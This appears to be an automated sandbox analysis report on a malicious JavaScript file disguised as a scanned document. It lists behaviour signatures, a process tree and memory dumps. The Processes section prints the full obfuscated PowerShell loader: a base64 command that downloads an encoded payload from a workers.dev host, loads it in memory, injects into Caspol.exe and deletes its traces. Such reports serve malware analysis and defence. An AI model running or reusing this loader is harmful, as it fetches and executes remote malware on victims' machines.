Analysis
- max time kernel
300s - max time network
301s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
24/09/2026, 07:13
General
- Target SKMBT_C22426090812140.js
- Size 32KB
- Sample260924-h2dqsage64
- SHA256 3ba1140b1234fa0ff8f85e294bac9c127244eb5e5e19ecea28923a17945f91c5
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\SKMBT_C22426090812140.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JiAoICRzSGVMTElEWzFdKyRTaGVMTElkWzEzXSsneCcpKCAoKCdoeDhwYXBsb21lciA9IENrNmh0dHBzOi8vcm91Z2gtdHJ1dGgtZTA3Mi4nKydwdWJsaWNmdHByZXNlbmQud29ya2Vycy5kZXYvdHdicHdsbUNrNjsgaHg4bm9uZGlzZmlndXJlZCA9IENrNkM6RUg1VXNlcnNFSDVQdWJsJysnaWNFSDVEb3dubG9hZHNFSDVwYXknKydsb2FkLnR4JysndENrNjsgaHg4bScrJ2lzZmVyZSA9IFthY3RpdmF0b3JdOjpjcmVhdGVJbnN0YW5jZShbbmV0JysnLndlYmNsaWVudF0pJysnOyBoeDhtaXNmZXJlLkhlJysnYWRlcnMuQWRkKENrNlVzZXItQWdlbnRDazYsIENrNk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMCcrJy4wLjAgU2FmYXJpLzUzNy4zNkMnKydrNik7IGh4OG1pc2ZlcmUuRG93bmxvJysnYWRGaWxlKGh4OHBhcGxvbWVyLCBoeDhub25kaXNmaWd1cmVkKTsgaHg4aXJyYXRpb25hbCcrJ2lzdCA9IChHZXQtQ29udGVudCBoeDhub25kaXNmaWcnKyd1cmVkIC1SYXcpOyBoeDhicmlkZWdpZnQgPSBoeDhpcnJhdGlvbmFsaScrJ3N0LlJlcGxhY2UoSVZmKklWZixJVmZBSVZmKTsgaHg4cG90cGxhbnRzID0gW2NoYXJbXV0oKGh4OGJyJysnaWRlZ2lmdC5Ub0MnKydoYXJBcicrJ3JheSgpKVsoaHg4YnJpZGVnaWZ0Lkxlbmd0aC0xKS4uMF0pOyBoJysneDhtaXNtYW5uZXJlZCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gaHg4cG90cGxhbnRzKTsgW0FwcERvbWFpbl06OicrJ0N1cnJlbnREb21haW4uTG9hZChoeDhtaXMnKydtYW5uZXJlZCkgYUknKydXIE91dC0nKydOdWxsOyBbV2luMzIuUk1QLmFhYWFhYWFdOjphYWFhYWEnKydhYWFhYShJVmZDTlZtOHVnekd6MHNEbGJCempTSDZRRDBZempPU1JrM3I3WDBmRjYzZWJrZ3J2azZKcHU1bmt5emJ5NFM0TGZEM2pUWldjbHFJTVZmNVkyRklXM0VCZVVObHdCTXZmdk5BREdiWkxQdzcwJysnND1JVmYsSVZmaDNQYjNjcUxMTlR1WUonKycvVXpsMWQySDFySzlyM0hzMGQxYlVpdjNTNkc2bz1JVmYsSVZmRmZ5TG45YWV1UnhkMScrJ3hDNC80SEhGWG1HQ2l4OWtXOXZJUkt0RXphWFM0VnpoWE1MOVcyQUx2JysnbUZYJysnTENQNHoxdUlWJysnZixJVmZ5Mm9hMUlUS3c4QScrJ1JZTWdVMmtwL21QZWRuSGQ1JysneScrJ1JxL1dSKycrJ2p2TUhLaG1JPUlWZixJVmYnKydiUXlpZ3pBcm9kSzN2eVVmbjhjNGo5JysnZUxuUFJqUXZuVmpkTUZXSnJCaWtrPUknKydWZixJVmZJVmYsSVZmK3VJclJtYk5GVGtpeVlkbEV5VUdzWW1MVUhlM2RMcDFva0ZjZTZoQWFEZz1JVmYsSVZmcXpEMHVvZW8vVE5OdDFpWGN4ZTlScTArYkJXJysnWU9KNGt5TEU1b3V1cjJEQT1JVmYsSVZmJysnK0M3VU5UemxmSHQ2Vy9LcnoxRWhJUHZPNlZ0JysnbFNSRG12d3ovam8vWHZ5a0tMbGxBcnF4Q1hVbycrJ2M1azk0UW5lVmU5ZWFVbFV0d2UnKydHSithemdEdzRNK0dpTCtlTXQ0dFRrJysnaC9hZ3N6dHVJN3c9SVZmLElWZlVKS0ZGJysnemdiRDFwNWwwM2NFdHdGQnZXaXhFVjR3Yk4zVDVFSkoxSEhDMStTVldEJysnQ1FnendJQWtqM3BJSGZMTHFJVmYsSVZmVWkzZmhNdXQnKycyVDloS2VvNzAyYXlqOWs4NUtOQVc2Q08wS29xJysnYmVXY2tqMD1JVmYsSVZmSVZmLElWZicrJ0ZJaUJrLzkyeFZLdWpuTzhtNS90ZWIrbktJOGppbkJoVlhMUlBmNlpia2s9SVZmLElWZnFuU010SWx0MnhJVUJGZFVVbUtFWE1jMnBYWnFmTG4nKyc4UVVBLy85bFlyUEE9SVZmLElWZnlta1Z6eFI2R2xsUScrJ2lsck5XS09NUktOUVNDRjJLYXZWR2c3TittaUJTYms9SVZmLElWZnVOZ3lTY1RldGwnKydkJysnYjR6WG5wNUpHV3h3UzR0TlpLUmxqWmswd3VablRGYzg9SVZmLElWZklWZixJVmZJVmYsSVZmJysnSVZmKTsgUmVtb3ZlLUl0ZW0gLVBhdGggaHg4bm8nKyduZGlzZmlndXJlZCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1jUmVwbGFjZSAoW0NIYXJdNzMrW0NIYXJdODYrW0NIYXJdMTAyKSxbQ0hhcl0zOSAtcmVQTGFDRSdFSDUnLFtDSGFyXTkyLXJlUExhQ0UgJ2FJVycsW0NIYXJdMTI0IC1yZVBMYUNFICAnQ2s2JyxbQ0hhcl0zNCAgLXJlUExhQ0UgJ2h4OCcsW0NIYXJdMzYpICk=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *. "C:\\Users\\Public\\Downloads\\CGpozDOPUj."2⤵
- Executes a command shell one-liner
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Caspol.exe2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
__PSScriptPolicyTest_5ijeyjma.zrb.ps1
memory/388-1-0x000002BDFB360000-0x000002BDFB370000-memory.dmp
memory/388-7-0x000002BDFD6D0000-0x000002BDFD6F2000-memory.dmp
memory/388-10-0x000002BDFB360000-0x000002BDFB370000-memory.dmp
memory/388-13-0x000002BDFDBF0000-0x000002BDFDC5C000-memory.dmp
memory/388-29-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-27-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-25-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-111-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-31-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-23-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-81-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-21-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-19-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-17-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-15-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-37-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-14-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-139-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-137-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-135-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-133-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-131-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-879-0x000002BDFB360000-0x000002BDFB370000-memory.dmp
memory/388-878-0x000002BDFDBB0000-0x000002BDFDBB1000-memory.dmp
memory/388-129-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-127-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-125-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-123-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-121-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-119-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-117-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-115-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-113-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-109-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-107-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-105-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-103-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-101-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-99-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-97-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-95-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-93-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-91-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-89-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-87-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-85-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-83-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-79-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-77-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-75-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-73-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-71-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-69-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-67-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-65-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-63-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-61-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-59-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-57-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-55-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-53-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-51-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-49-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-47-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-45-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-43-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-41-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-39-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-35-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp
memory/388-33-0x000002BDFDBF0000-0x000002BDFDC55000-memory.dmp